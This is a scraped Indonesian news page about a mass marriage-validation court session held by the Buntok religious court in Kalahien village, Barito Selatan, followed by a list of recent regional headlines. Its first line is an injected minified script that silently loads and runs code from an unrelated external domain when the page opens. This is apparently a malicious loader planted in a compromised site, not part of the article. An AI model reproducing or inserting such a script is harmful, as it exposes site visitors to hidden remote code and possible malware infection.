(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

PA Buntok Gelar Sidang Itsbat Nikah Warga Kalahien


KANALKALIMANTAN.COM, BUNTOK – Pengadilan Agama (PA) Buntok bekerjasama dengan Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Barito Selatan (Barsel) dan Kantor Kementerian Agama (Kemenag) Barsel, menggelar sidang itsbat massal di Desa Kalahien, Kecamatan Dusun Selatan, Kamis (10/3/2022).

Sidang itsbat massal disambut antusias masyarakat setempat, terutama bagi pasangan yang menikah secara siri atau tidak tercatat di Kantor Urusan Agama (KUA).

Kepala Desa Kalahien, Eskariadi mengatakan, dengan dilaksanakannya sidang itsbat massal tersebut warga merasa dipermudah dari persoalan administrasi khususnya segi pembiayaan dan juga jarak tempuh.

“Tentu kami berharap kegiatan ini bisa terus berlanjut, sehingga warga yang statusnya masih nikah siri bisa tercatat baik dalam hukum negara,” kata Eskariadi kepada Kanalkalimantan.com.

 

 

Baca juga: Jokowi Lantik Ketua Otorita IKN Nusantara, Bambang-Dhony Duet dari Non Parpol

Sementara itu, Ketua Pengadilan Agama Buntok, Mustolich mengungkapkan, melalui sidang itsbat massal ini pihaknya ingin memberikan pelayanan yang lebih mudah kepada masyarakat.

Ia mengatakan, setelah mendapatkan putusan dari pengadilan maka masyarakat juga akan mudah dalam memperoleh identitas kependudukan yang resmi, baik itu dari Disdukcapil maupun Kemenag.

Disamping sidang itsbat massal, kerjasama Pengadilan Agama bersama Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Barsel dan Kemenag juga meliputi one day service dengan SIPADU.

“Kegiatan serupa ini akan kembali digelar di Desa Muara Arai dan Kelurahan Bangkuang,” beber Mustolich.

Kepala Disdukcapil Barsel, Nyamei Tumbai menambahkan, kegiatan sidang itsbat massal ini selain dalam rangka mempermudah masyarakat mendapatkan dokumen kependudukan sekaligus percepatan pendataan kependudukan.

“Setelah dikeluarkan kutipan akta nikah dari Kemenag, selanjutnya mereka akan mendapatkan identitas kependudukan seperti KTP elektronik, Kartu Keluarga (KK) dan jika sudah memiliki anak tentunya dikeluarkan akta kelahiran (AK) dan kartu identitas anak (KIA),” tukas Nyamei.(kanalkalimantan.com/digdo)

Reporter : digdo
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.